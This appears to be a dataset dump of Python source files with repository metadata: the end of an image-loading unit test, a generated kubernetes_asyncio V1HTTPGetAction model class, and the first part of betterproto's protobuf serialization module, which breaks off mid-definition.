def test_from_file(self):
self.assertEqual(
load_image(self.TEST_FILE_BGR).data_buffer, self.img.data_buffer)
with self.assertRaises(Exception):
load_image("not_real_path")
def test_height_width(self):
self.assertEqual(self.img.width, 1280)
self.assertEqual(self.img.height, 720)
self.assertEqual(self.empty_img.width, None)
self.assertEqual(self.empty_img.height, None)
if __name__ == "__main__":
unittest.main()
| true | true |
f73c3ee1ee5fb637a215a0122a24609067ea5baa | 7,071 | py | Python | kubernetes_asyncio/client/models/v1_http_get_action.py | opsani/kubernetes_asyncio | 55283bf6f3690e5c0a0c589cd752221511e2be51 | [
"Apache-2.0"
] | 196 | 2018-05-23T16:55:41.000Z | 2022-03-31T10:09:40.000Z | kubernetes_asyncio/client/models/v1_http_get_action.py | tomplus/kubernetes_asyncio | e8c8686ec11be3a5295ae9d5d8728299492a61f8 | [
"Apache-2.0"
] | 164 | 2018-05-20T20:39:03.000Z | 2022-03-29T22:57:04.000Z | kubernetes_asyncio/client/models/v1_http_get_action.py | opsani/kubernetes_asyncio | 55283bf6f3690e5c0a0c589cd752221511e2be51 | [
"Apache-2.0"
] | 41 | 2018-06-08T00:39:53.000Z | 2022-01-12T18:19:06.000Z | # coding: utf-8
"""
Kubernetes
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501
The version of the OpenAPI document: v1.18.20
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import six
from kubernetes_asyncio.client.configuration import Configuration
class V1HTTPGetAction(object):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
openapi_types = {
'host': 'str',
'http_headers': 'list[V1HTTPHeader]',
'path': 'str',
'port': 'object',
'scheme': 'str'
}
attribute_map = {
'host': 'host',
'http_headers': 'httpHeaders',
'path': 'path',
'port': 'port',
'scheme': 'scheme'
}
def __init__(self, host=None, http_headers=None, path=None, port=None, scheme=None, local_vars_configuration=None): # noqa: E501
"""V1HTTPGetAction - a model defined in OpenAPI""" # noqa: E501
if local_vars_configuration is None:
local_vars_configuration = Configuration()
self.local_vars_configuration = local_vars_configuration
self._host = None
self._http_headers = None
self._path = None
self._port = None
self._scheme = None
self.discriminator = None
if host is not None:
self.host = host
if http_headers is not None:
self.http_headers = http_headers
if path is not None:
self.path = path
self.port = port
if scheme is not None:
self.scheme = scheme
@property
def host(self):
"""Gets the host of this V1HTTPGetAction. # noqa: E501
Host name to connect to, defaults to the pod IP. You probably want to set \"Host\" in httpHeaders instead. # noqa: E501
:return: The host of this V1HTTPGetAction. # noqa: E501
:rtype: str
"""
return self._host
@host.setter
def host(self, host):
"""Sets the host of this V1HTTPGetAction.
Host name to connect to, defaults to the pod IP. You probably want to set \"Host\" in httpHeaders instead. # noqa: E501
:param host: The host of this V1HTTPGetAction. # noqa: E501
:type: str
"""
self._host = host
@property
def http_headers(self):
"""Gets the http_headers of this V1HTTPGetAction. # noqa: E501
Custom headers to set in the request. HTTP allows repeated headers. # noqa: E501
:return: The http_headers of this V1HTTPGetAction. # noqa: E501
:rtype: list[V1HTTPHeader]
"""
return self._http_headers
@http_headers.setter
def http_headers(self, http_headers):
"""Sets the http_headers of this V1HTTPGetAction.
Custom headers to set in the request. HTTP allows repeated headers. # noqa: E501
:param http_headers: The http_headers of this V1HTTPGetAction. # noqa: E501
:type: list[V1HTTPHeader]
"""
self._http_headers = http_headers
@property
def path(self):
"""Gets the path of this V1HTTPGetAction. # noqa: E501
Path to access on the HTTP server. # noqa: E501
:return: The path of this V1HTTPGetAction. # noqa: E501
:rtype: str
"""
return self._path
@path.setter
def path(self, path):
"""Sets the path of this V1HTTPGetAction.
Path to access on the HTTP server. # noqa: E501
:param path: The path of this V1HTTPGetAction. # noqa: E501
:type: str
"""
self._path = path
@property
def port(self):
"""Gets the port of this V1HTTPGetAction. # noqa: E501
Name or number of the port to access on the container. Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME. # noqa: E501
:return: The port of this V1HTTPGetAction. # noqa: E501
:rtype: object
"""
return self._port
@port.setter
def port(self, port):
"""Sets the port of this V1HTTPGetAction.
Name or number of the port to access on the container. Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME. # noqa: E501
:param port: The port of this V1HTTPGetAction. # noqa: E501
:type: object
"""
if self.local_vars_configuration.client_side_validation and port is None: # noqa: E501
raise ValueError("Invalid value for `port`, must not be `None`") # noqa: E501
self._port = port
@property
def scheme(self):
"""Gets the scheme of this V1HTTPGetAction. # noqa: E501
Scheme to use for connecting to the host. Defaults to HTTP. # noqa: E501
:return: The scheme of this V1HTTPGetAction. # noqa: E501
:rtype: str
"""
return self._scheme
@scheme.setter
def scheme(self, scheme):
"""Sets the scheme of this V1HTTPGetAction.
Scheme to use for connecting to the host. Defaults to HTTP. # noqa: E501
:param scheme: The scheme of this V1HTTPGetAction. # noqa: E501
:type: str
"""
self._scheme = scheme
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.openapi_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, V1HTTPGetAction):
return False
return self.to_dict() == other.to_dict()
def __ne__(self, other):
"""Returns true if both objects are not equal"""
if not isinstance(other, V1HTTPGetAction):
return True
return self.to_dict() != other.to_dict()
| 29.961864 | 147 | 0.590723 |
import pprint
import re
import six
from kubernetes_asyncio.client.configuration import Configuration
class V1HTTPGetAction(object):
openapi_types = {
'host': 'str',
'http_headers': 'list[V1HTTPHeader]',
'path': 'str',
'port': 'object',
'scheme': 'str'
}
attribute_map = {
'host': 'host',
'http_headers': 'httpHeaders',
'path': 'path',
'port': 'port',
'scheme': 'scheme'
}
def __init__(self, host=None, http_headers=None, path=None, port=None, scheme=None, local_vars_configuration=None):
if local_vars_configuration is None:
local_vars_configuration = Configuration()
self.local_vars_configuration = local_vars_configuration
self._host = None
self._http_headers = None
self._path = None
self._port = None
self._scheme = None
self.discriminator = None
if host is not None:
self.host = host
if http_headers is not None:
self.http_headers = http_headers
if path is not None:
self.path = path
self.port = port
if scheme is not None:
self.scheme = scheme
@property
def host(self):
return self._host
@host.setter
def host(self, host):
self._host = host
@property
def http_headers(self):
return self._http_headers
@http_headers.setter
def http_headers(self, http_headers):
self._http_headers = http_headers
@property
def path(self):
return self._path
@path.setter
def path(self, path):
self._path = path
@property
def port(self):
return self._port
@port.setter
def port(self, port):
if self.local_vars_configuration.client_side_validation and port is None:
raise ValueError("Invalid value for `port`, must not be `None`")
self._port = port
@property
def scheme(self):
return self._scheme
@scheme.setter
def scheme(self, scheme):
self._scheme = scheme
def to_dict(self):
result = {}
for attr, _ in six.iteritems(self.openapi_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
return pprint.pformat(self.to_dict())
def __repr__(self):
return self.to_str()
def __eq__(self, other):
if not isinstance(other, V1HTTPGetAction):
return False
return self.to_dict() == other.to_dict()
def __ne__(self, other):
if not isinstance(other, V1HTTPGetAction):
return True
return self.to_dict() != other.to_dict()
| true | true |
f73c3f41dc2715059cfa74a7b1dc3abf0ca068bc | 43,251 | py | Python | src/betterproto/__init__.py | qria/python-betterproto | 6c1c41e9ccf7d020641e87f82e6419c3393a3841 | [
"MIT"
] | null | null | null | src/betterproto/__init__.py | qria/python-betterproto | 6c1c41e9ccf7d020641e87f82e6419c3393a3841 | [
"MIT"
] | null | null | null | src/betterproto/__init__.py | qria/python-betterproto | 6c1c41e9ccf7d020641e87f82e6419c3393a3841 | [
"MIT"
] | null | null | null | import dataclasses
import enum
import inspect
import json
import struct
import sys
import typing
from abc import ABC
from base64 import b64decode, b64encode
from datetime import datetime, timedelta, timezone
from dateutil.parser import isoparse
from typing import (
Any,
Callable,
Dict,
Generator,
List,
Optional,
Set,
Tuple,
Type,
Union,
get_type_hints,
)
from ._types import T
from .casing import camel_case, safe_snake_case, snake_case
from .grpc.grpclib_client import ServiceStub
# Proto 3 data types
TYPE_ENUM = "enum"
TYPE_BOOL = "bool"
TYPE_INT32 = "int32"
TYPE_INT64 = "int64"
TYPE_UINT32 = "uint32"
TYPE_UINT64 = "uint64"
TYPE_SINT32 = "sint32"
TYPE_SINT64 = "sint64"
TYPE_FLOAT = "float"
TYPE_DOUBLE = "double"
TYPE_FIXED32 = "fixed32"
TYPE_SFIXED32 = "sfixed32"
TYPE_FIXED64 = "fixed64"
TYPE_SFIXED64 = "sfixed64"
TYPE_STRING = "string"
TYPE_BYTES = "bytes"
TYPE_MESSAGE = "message"
TYPE_MAP = "map"
# Fields that use a fixed amount of space (4 or 8 bytes)
FIXED_TYPES = [
TYPE_FLOAT,
TYPE_DOUBLE,
TYPE_FIXED32,
TYPE_SFIXED32,
TYPE_FIXED64,
TYPE_SFIXED64,
]
# Fields that are numerical 64-bit types
INT_64_TYPES = [TYPE_INT64, TYPE_UINT64, TYPE_SINT64, TYPE_FIXED64, TYPE_SFIXED64]
# Fields that are efficiently packed when
PACKED_TYPES = [
TYPE_ENUM,
TYPE_BOOL,
TYPE_INT32,
TYPE_INT64,
TYPE_UINT32,
TYPE_UINT64,
TYPE_SINT32,
TYPE_SINT64,
TYPE_FLOAT,
TYPE_DOUBLE,
TYPE_FIXED32,
TYPE_SFIXED32,
TYPE_FIXED64,
TYPE_SFIXED64,
]
# Wire types
# https://developers.google.com/protocol-buffers/docs/encoding#structure
WIRE_VARINT = 0
WIRE_FIXED_64 = 1
WIRE_LEN_DELIM = 2
WIRE_FIXED_32 = 5
# Mappings of which Proto 3 types correspond to which wire types.
WIRE_VARINT_TYPES = [
TYPE_ENUM,
TYPE_BOOL,
TYPE_INT32,
TYPE_INT64,
TYPE_UINT32,
TYPE_UINT64,
TYPE_SINT32,
TYPE_SINT64,
]
WIRE_FIXED_32_TYPES = [TYPE_FLOAT, TYPE_FIXED32, TYPE_SFIXED32]
WIRE_FIXED_64_TYPES = [TYPE_DOUBLE, TYPE_FIXED64, TYPE_SFIXED64]
WIRE_LEN_DELIM_TYPES = [TYPE_STRING, TYPE_BYTES, TYPE_MESSAGE, TYPE_MAP]
# Protobuf datetimes start at the Unix Epoch in 1970 in UTC.
def datetime_default_gen() -> datetime:
return datetime(1970, 1, 1, tzinfo=timezone.utc)
DATETIME_ZERO = datetime_default_gen()
class Casing(enum.Enum):
"""Casing constants for serialization."""
CAMEL = camel_case #: A camelCase sterilization function.
SNAKE = snake_case #: A snake_case sterilization function.
PLACEHOLDER: Any = object()
@dataclasses.dataclass(frozen=True)
class FieldMetadata:
"""Stores internal metadata used for parsing & serialization."""
# Protobuf field number
number: int
# Protobuf type name
proto_type: str
# Map information if the proto_type is a map
map_types: Optional[Tuple[str, str]] = None
# Groups several "one-of" fields together
group: Optional[str] = None
# Describes the wrapped type (e.g. when using google.protobuf.BoolValue)
wraps: Optional[str] = None
@staticmethod
def get(field: dataclasses.Field) -> "FieldMetadata":
"""Returns the field metadata for a dataclass field."""
return field.metadata["betterproto"]
def dataclass_field(
number: int,
proto_type: str,
*,
map_types: Optional[Tuple[str, str]] = None,
group: Optional[str] = None,
wraps: Optional[str] = None,
) -> dataclasses.Field:
"""Creates a dataclass field with attached protobuf metadata."""
return dataclasses.field(
default=PLACEHOLDER,
metadata={
"betterproto": FieldMetadata(number, proto_type, map_types, group, wraps)
},
)
# Note: the fields below return `Any` to prevent type errors in the generated
# data classes since the types won't match with `Field` and they get swapped
# out at runtime. The generated dataclass variables are still typed correctly.
def enum_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_ENUM, group=group)
def bool_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_BOOL, group=group)
def int32_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_INT32, group=group)
def int64_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_INT64, group=group)
def uint32_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_UINT32, group=group)
def uint64_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_UINT64, group=group)
def sint32_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_SINT32, group=group)
def sint64_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_SINT64, group=group)
def float_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_FLOAT, group=group)
def double_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_DOUBLE, group=group)
def fixed32_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_FIXED32, group=group)
def fixed64_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_FIXED64, group=group)
def sfixed32_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_SFIXED32, group=group)
def sfixed64_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_SFIXED64, group=group)
def string_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_STRING, group=group)
def bytes_field(number: int, group: Optional[str] = None) -> Any:
return dataclass_field(number, TYPE_BYTES, group=group)
def message_field(
number: int, group: Optional[str] = None, wraps: Optional[str] = None
) -> Any:
return dataclass_field(number, TYPE_MESSAGE, group=group, wraps=wraps)
def map_field(
number: int, key_type: str, value_type: str, group: Optional[str] = None
) -> Any:
return dataclass_field(
number, TYPE_MAP, map_types=(key_type, value_type), group=group
)
class Enum(enum.IntEnum):
"""
The base class for protobuf enumerations, all generated enumerations will inherit
from this. Bases :class:`enum.IntEnum`.
"""
@classmethod
def from_string(cls, name: str) -> "Enum":
"""Return the value which corresponds to the string name.
Parameters
-----------
name: :class:`str`
The name of the enum member to get
Raises
-------
:exc:`ValueError`
The member was not found in the Enum.
"""
try:
return cls._member_map_[name]
except KeyError as e:
raise ValueError(f"Unknown value {name} for enum {cls.__name__}") from e
def _pack_fmt(proto_type: str) -> str:
"""Returns a little-endian format string for reading/writing binary."""
return {
TYPE_DOUBLE: "<d",
TYPE_FLOAT: "<f",
TYPE_FIXED32: "<I",
TYPE_FIXED64: "<Q",
TYPE_SFIXED32: "<i",
TYPE_SFIXED64: "<q",
}[proto_type]
def encode_varint(value: int) -> bytes:
"""Encodes a single varint value for serialization."""
b: List[int] = []
if value < 0:
value += 1 << 64
bits = value & 0x7F
value >>= 7
while value:
b.append(0x80 | bits)
bits = value & 0x7F
value >>= 7
return bytes(b + [bits])
def _preprocess_single(proto_type: str, wraps: str, value: Any) -> bytes:
"""Adjusts values before serialization."""
if proto_type in [
TYPE_ENUM,
TYPE_BOOL,
TYPE_INT32,
TYPE_INT64,
TYPE_UINT32,
TYPE_UINT64,
]:
return encode_varint(value)
elif proto_type in [TYPE_SINT32, TYPE_SINT64]:
# Handle zig-zag encoding.
return encode_varint(value << 1 if value >= 0 else (value << 1) ^ (~0))
elif proto_type in FIXED_TYPES:
return struct.pack(_pack_fmt(proto_type), value)
elif proto_type == TYPE_STRING:
return value.encode("utf-8")
elif proto_type == TYPE_MESSAGE:
if isinstance(value, datetime):
# Convert the `datetime` to a timestamp message.
seconds = int(value.timestamp())
nanos = int(value.microsecond * 1e3)
value = _Timestamp(seconds=seconds, nanos=nanos)
elif isinstance(value, timedelta):
# Convert the `timedelta` to a duration message.
total_ms = value // timedelta(microseconds=1)
seconds = int(total_ms / 1e6)
nanos = int((total_ms % 1e6) * 1e3)
value = _Duration(seconds=seconds, nanos=nanos)
elif wraps:
if value is None:
return b""
value = _get_wrapper(wraps)(value=value)
return bytes(value)
return value
def _serialize_single(
field_number: int,
proto_type: str,
value: Any,
*,
serialize_empty: bool = False,
wraps: str = "",
) -> bytes:
"""Serializes a single field and value."""
value = _preprocess_single(proto_type, wraps, value)
output = bytearray()
if proto_type in WIRE_VARINT_TYPES:
key = encode_varint(field_number << 3)
output += key + value
elif proto_type in WIRE_FIXED_32_TYPES:
key = encode_varint((field_number << 3) | 5)
output += key + value
elif proto_type in WIRE_FIXED_64_TYPES:
key = encode_varint((field_number << 3) | 1)
output += key + value
elif proto_type in WIRE_LEN_DELIM_TYPES:
if len(value) or serialize_empty or wraps:
key = encode_varint((field_number << 3) | 2)
output += key + encode_varint(len(value)) + value
else:
raise NotImplementedError(proto_type)
return bytes(output)
def decode_varint(buffer: bytes, pos: int) -> Tuple[int, int]:
"""
Decode a single varint value from a byte buffer. Returns the value and the
new position in the buffer.
"""
result = 0
shift = 0
while 1:
b = buffer[pos]
result |= (b & 0x7F) << shift
pos += 1
if not (b & 0x80):
return result, pos
shift += 7
if shift >= 64:
raise ValueError("Too many bytes when decoding varint.")
@dataclasses.dataclass(frozen=True)
class ParsedField:
number: int
wire_type: int
value: Any
raw: bytes
def parse_fields(value: bytes) -> Generator[ParsedField, None, None]:
i = 0
while i < len(value):
start = i
num_wire, i = decode_varint(value, i)
number = num_wire >> 3
wire_type = num_wire & 0x7
decoded: Any = None
if wire_type == WIRE_VARINT:
decoded, i = decode_varint(value, i)
elif wire_type == WIRE_FIXED_64:
decoded, i = value[i : i + 8], i + 8
elif wire_type == WIRE_LEN_DELIM:
length, i = decode_varint(value, i)
decoded = value[i : i + length]
i += length
elif wire_type == WIRE_FIXED_32:
decoded, i = value[i : i + 4], i + 4
yield ParsedField(
number=number, wire_type=wire_type, value=decoded, raw=value[start:i]
)
class ProtoClassMetadata:
__slots__ = (
"oneof_group_by_field",
"oneof_field_by_group",
"default_gen",
"cls_by_field",
"field_name_by_number",
"meta_by_field_name",
"sorted_field_names",
)
oneof_group_by_field: Dict[str, str]
oneof_field_by_group: Dict[str, Set[dataclasses.Field]]
field_name_by_number: Dict[int, str]
meta_by_field_name: Dict[str, FieldMetadata]
sorted_field_names: Tuple[str, ...]
default_gen: Dict[str, Callable[[], Any]]
cls_by_field: Dict[str, Type]
def __init__(self, cls: Type["Message"]):
by_field = {}
by_group: Dict[str, Set] = {}
by_field_name = {}
by_field_number = {}
fields = dataclasses.fields(cls)
for field in fields:
meta = FieldMetadata.get(field)
if meta.group:
# This is part of a one-of group.
by_field[field.name] = meta.group
by_group.setdefault(meta.group, set()).add(field)
by_field_name[field.name] = meta
by_field_number[meta.number] = field.name
self.oneof_group_by_field = by_field
self.oneof_field_by_group = by_group
self.field_name_by_number = by_field_number
self.meta_by_field_name = by_field_name
self.sorted_field_names = tuple(
by_field_number[number] for number in sorted(by_field_number)
)
self.default_gen = self._get_default_gen(cls, fields)
self.cls_by_field = self._get_cls_by_field(cls, fields)
@staticmethod
def _get_default_gen(
cls: Type["Message"], fields: List[dataclasses.Field]
) -> Dict[str, Callable[[], Any]]:
return {field.name: cls._get_field_default_gen(field) for field in fields}
@staticmethod
def _get_cls_by_field(
cls: Type["Message"], fields: List[dataclasses.Field]
) -> Dict[str, Type]:
field_cls = {}
for field in fields:
meta = FieldMetadata.get(field)
if meta.proto_type == TYPE_MAP:
assert meta.map_types
kt = cls._cls_for(field, index=0)
vt = cls._cls_for(field, index=1)
field_cls[field.name] = dataclasses.make_dataclass(
"Entry",
[
("key", kt, dataclass_field(1, meta.map_types[0])),
("value", vt, dataclass_field(2, meta.map_types[1])),
],
bases=(Message,),
)
field_cls[f"{field.name}.value"] = vt
else:
field_cls[field.name] = cls._cls_for(field)
return field_cls
class Message(ABC):
"""
The base class for protobuf messages, all generated messages will inherit from
this. This class registers the message fields which are used by the serializers and
parsers to go between the Python, binary and JSON representations of the message.
.. container:: operations
.. describe:: bytes(x)
Calls :meth:`__bytes__`.
.. describe:: bool(x)
Calls :meth:`__bool__`.
"""
_serialized_on_wire: bool
_unknown_fields: bytes
_group_current: Dict[str, str]
def __post_init__(self) -> None:
# Keep track of whether every field was default
all_sentinel = True
# Set current field of each group after `__init__` has already been run.
group_current: Dict[str, Optional[str]] = {}
for field_name, meta in self._betterproto.meta_by_field_name.items():
if meta.group:
group_current.setdefault(meta.group)
if self.__raw_get(field_name) != PLACEHOLDER:
# Found a non-sentinel value
all_sentinel = False
if meta.group:
# This was set, so make it the selected value of the one-of.
group_current[meta.group] = field_name
# Now that all the defaults are set, reset it!
self.__dict__["_serialized_on_wire"] = not all_sentinel
self.__dict__["_unknown_fields"] = b""
self.__dict__["_group_current"] = group_current
def __raw_get(self, name: str) -> Any:
return super().__getattribute__(name)
def __eq__(self, other) -> bool:
if type(self) is not type(other):
return False
for field_name in self._betterproto.meta_by_field_name:
self_val = self.__raw_get(field_name)
other_val = other.__raw_get(field_name)
if self_val is PLACEHOLDER:
if other_val is PLACEHOLDER:
continue
self_val = self._get_field_default(field_name)
elif other_val is PLACEHOLDER:
other_val = other._get_field_default(field_name)
if self_val != other_val:
return False
return True
def __repr__(self) -> str:
parts = [
f"{field_name}={value!r}"
for field_name in self._betterproto.sorted_field_names
for value in (self.__raw_get(field_name),)
if value is not PLACEHOLDER
]
return f"{self.__class__.__name__}({', '.join(parts)})"
def __getattribute__(self, name: str) -> Any:
"""
Lazily initialize default values to avoid infinite recursion for recursive
message types
"""
value = super().__getattribute__(name)
if value is not PLACEHOLDER:
return value
value = self._get_field_default(name)
super().__setattr__(name, value)
return value
def __setattr__(self, attr: str, value: Any) -> None:
if attr != "_serialized_on_wire":
# Track when a field has been set.
self.__dict__["_serialized_on_wire"] = True
if hasattr(self, "_group_current"): # __post_init__ had already run
if attr in self._betterproto.oneof_group_by_field:
group = self._betterproto.oneof_group_by_field[attr]
for field in self._betterproto.oneof_field_by_group[group]:
if field.name == attr:
self._group_current[group] = field.name
else:
super().__setattr__(field.name, PLACEHOLDER)
super().__setattr__(attr, value)
def __bool__(self) -> bool:
"""True if the Message has any fields with non-default values."""
return any(
self.__raw_get(field_name)
not in (PLACEHOLDER, self._get_field_default(field_name))
for field_name in self._betterproto.meta_by_field_name
)
@property
def _betterproto(self) -> ProtoClassMetadata:
"""
Lazy initialize metadata for each protobuf class.
It may be initialized multiple times in a multi-threaded environment,
but that won't affect the correctness.
"""
meta = getattr(self.__class__, "_betterproto_meta", None)
if not meta:
meta = ProtoClassMetadata(self.__class__)
self.__class__._betterproto_meta = meta
return meta
def __bytes__(self) -> bytes:
"""
Get the binary encoded Protobuf representation of this message instance.
"""
output = bytearray()
for field_name, meta in self._betterproto.meta_by_field_name.items():
value = getattr(self, field_name)
if value is None:
# Optional items should be skipped. This is used for the Google
# wrapper types.
continue
# Being selected in a a group means this field is the one that is
# currently set in a `oneof` group, so it must be serialized even
# if the value is the default zero value.
selected_in_group = (
meta.group and self._group_current[meta.group] == field_name
)
# Empty messages can still be sent on the wire if they were
# set (or received empty).
serialize_empty = isinstance(value, Message) and value._serialized_on_wire
include_default_value_for_oneof = self._include_default_value_for_oneof(
field_name=field_name, meta=meta
)
if value == self._get_field_default(field_name) and not (
selected_in_group or serialize_empty or include_default_value_for_oneof
):
# Default (zero) values are not serialized. Two exceptions are
# if this is the selected oneof item or if we know we have to
# serialize an empty message (i.e. zero value was explicitly
# set by the user).
continue
if isinstance(value, list):
if meta.proto_type in PACKED_TYPES:
# Packed lists look like a length-delimited field. First,
# preprocess/encode each value into a buffer and then
# treat it like a field of raw bytes.
buf = bytearray()
for item in value:
buf += _preprocess_single(meta.proto_type, "", item)
output += _serialize_single(meta.number, TYPE_BYTES, buf)
else:
for item in value:
output += _serialize_single(
meta.number, meta.proto_type, item, wraps=meta.wraps or ""
)
elif isinstance(value, dict):
for k, v in value.items():
assert meta.map_types
sk = _serialize_single(1, meta.map_types[0], k)
sv = _serialize_single(2, meta.map_types[1], v)
output += _serialize_single(meta.number, meta.proto_type, sk + sv)
else:
# If we have an empty string and we're including the default value for
# a oneof, make sure we serialize it. This ensures that the byte string
# output isn't simply an empty string. This also ensures that round trip
# serialization will keep `which_one_of` calls consistent.
if (
isinstance(value, str)
and value == ""
and include_default_value_for_oneof
):
serialize_empty = True
output += _serialize_single(
meta.number,
meta.proto_type,
value,
serialize_empty=serialize_empty,
wraps=meta.wraps or "",
)
output += self._unknown_fields
return bytes(output)
# For compatibility with other libraries
def SerializeToString(self: T) -> bytes:
"""
Get the binary encoded Protobuf representation of this message instance.
.. note::
This is a method for compatibility with other libraries,
you should really use ``bytes(x)``.
Returns
--------
:class:`bytes`
The binary encoded Protobuf representation of this message instance
"""
return bytes(self)
@classmethod
def _type_hint(cls, field_name: str) -> Type:
return cls._type_hints()[field_name]
@classmethod
def _type_hints(cls) -> Dict[str, Type]:
module = sys.modules[cls.__module__]
return get_type_hints(cls, vars(module))
@classmethod
def _cls_for(cls, field: dataclasses.Field, index: int = 0) -> Type:
"""Get the message class for a field from the type hints."""
field_cls = cls._type_hint(field.name)
if hasattr(field_cls, "__args__") and index >= 0:
if field_cls.__args__ is not None:
field_cls = field_cls.__args__[index]
return field_cls
def _get_field_default(self, field_name: str) -> Any:
return self._betterproto.default_gen[field_name]()
@classmethod
def _get_field_default_gen(cls, field: dataclasses.Field) -> Any:
t = cls._type_hint(field.name)
if hasattr(t, "__origin__"):
if t.__origin__ in (dict, Dict):
# This is some kind of map (dict in Python).
return dict
elif t.__origin__ in (list, List):
# This is some kind of list (repeated) field.
return list
elif t.__origin__ is Union and t.__args__[1] is type(None):
# This is an optional (wrapped) field. For setting the default we
# really don't care what kind of field it is.
return type(None)
else:
return t
elif issubclass(t, Enum):
# Enums always default to zero.
return int
elif t is datetime:
# Offsets are relative to 1970-01-01T00:00:00Z
return datetime_default_gen
else:
# This is either a primitive scalar or another message type. Calling
# it should result in its zero value.
return t
def _postprocess_single(
self, wire_type: int, meta: FieldMetadata, field_name: str, value: Any
) -> Any:
"""Adjusts values after parsing."""
if wire_type == WIRE_VARINT:
if meta.proto_type in [TYPE_INT32, TYPE_INT64]:
bits = int(meta.proto_type[3:])
value = value & ((1 << bits) - 1)
signbit = 1 << (bits - 1)
value = int((value ^ signbit) - signbit)
elif meta.proto_type in [TYPE_SINT32, TYPE_SINT64]:
# Undo zig-zag encoding
value = (value >> 1) ^ (-(value & 1))
elif meta.proto_type == TYPE_BOOL:
# Booleans use a varint encoding, so convert it to true/false.
value = value > 0
elif wire_type in [WIRE_FIXED_32, WIRE_FIXED_64]:
fmt = _pack_fmt(meta.proto_type)
value = struct.unpack(fmt, value)[0]
elif wire_type == WIRE_LEN_DELIM:
if meta.proto_type == TYPE_STRING:
value = value.decode("utf-8")
elif meta.proto_type == TYPE_MESSAGE:
cls = self._betterproto.cls_by_field[field_name]
if cls == datetime:
value = _Timestamp().parse(value).to_datetime()
elif cls == timedelta:
value = _Duration().parse(value).to_timedelta()
elif meta.wraps:
# This is a Google wrapper value message around a single
# scalar type.
value = _get_wrapper(meta.wraps)().parse(value).value
else:
value = cls().parse(value)
value._serialized_on_wire = True
elif meta.proto_type == TYPE_MAP:
value = self._betterproto.cls_by_field[field_name]().parse(value)
return value
def _include_default_value_for_oneof(
self, field_name: str, meta: FieldMetadata
) -> bool:
return (
meta.group is not None and self._group_current.get(meta.group) == field_name
)
def parse(self: T, data: bytes) -> T:
"""
Parse the binary encoded Protobuf into this message instance. This
returns the instance itself and is therefore assignable and chainable.
Parameters
-----------
data: :class:`bytes`
The data to parse the protobuf from.
Returns
--------
:class:`Message`
The initialized message.
"""
# Got some data over the wire
self._serialized_on_wire = True
proto_meta = self._betterproto
for parsed in parse_fields(data):
field_name = proto_meta.field_name_by_number.get(parsed.number)
if not field_name:
self._unknown_fields += parsed.raw
continue
meta = proto_meta.meta_by_field_name[field_name]
value: Any
if parsed.wire_type == WIRE_LEN_DELIM and meta.proto_type in PACKED_TYPES:
# This is a packed repeated field.
pos = 0
value = []
while pos < len(parsed.value):
if meta.proto_type in [TYPE_FLOAT, TYPE_FIXED32, TYPE_SFIXED32]:
decoded, pos = parsed.value[pos : pos + 4], pos + 4
wire_type = WIRE_FIXED_32
elif meta.proto_type in [TYPE_DOUBLE, TYPE_FIXED64, TYPE_SFIXED64]:
decoded, pos = parsed.value[pos : pos + 8], pos + 8
wire_type = WIRE_FIXED_64
else:
decoded, pos = decode_varint(parsed.value, pos)
wire_type = WIRE_VARINT
decoded = self._postprocess_single(
wire_type, meta, field_name, decoded
)
value.append(decoded)
else:
value = self._postprocess_single(
parsed.wire_type, meta, field_name, parsed.value
)
current = getattr(self, field_name)
if meta.proto_type == TYPE_MAP:
# Value represents a single key/value pair entry in the map.
current[value.key] = value.value
elif isinstance(current, list) and not isinstance(value, list):
current.append(value)
else:
setattr(self, field_name, value)
return self
# For compatibility with other libraries.
@classmethod
def FromString(cls: Type[T], data: bytes) -> T:
"""
Parse the binary encoded Protobuf into this message instance. This
returns the instance itself and is therefore assignable and chainable.
.. note::
This is a method for compatibility with other libraries,
you should really use :meth:`parse`.
Parameters
-----------
data: :class:`bytes`
The data to parse the protobuf from.
Returns
--------
:class:`Message`
The initialized message.
"""
return cls().parse(data)
def to_dict(
self, casing: Casing = Casing.CAMEL, include_default_values: bool = False
